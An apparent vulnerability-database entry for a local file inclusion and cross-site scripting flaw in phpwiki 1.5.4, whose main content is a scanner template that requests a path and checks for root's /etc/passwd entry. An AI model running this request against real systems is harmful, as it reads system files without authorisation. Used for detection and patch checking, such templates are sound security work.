phpwiki-lfi: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion

2025-08-01 phpwiki PoC Public

Description

phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.

Details

Severity
高危
Affected
phpwiki
Published
PoC
Public

PoC

id: phpwiki-lfi

info:
  name: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.
  reference:
    - https://www.exploit-db.com/exploits/38027
  metadata:
    max-request: 1
  tags: xss,edb,phpwiki,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpwiki/index.php/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008b40c46c041a87e81370dc69b244e13f7839ac284521ad317b47ca7b460be487022100c3e89e1cd65a9120ea8a950e32b6c5891d13ececf9fa56e331050eb474567317:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life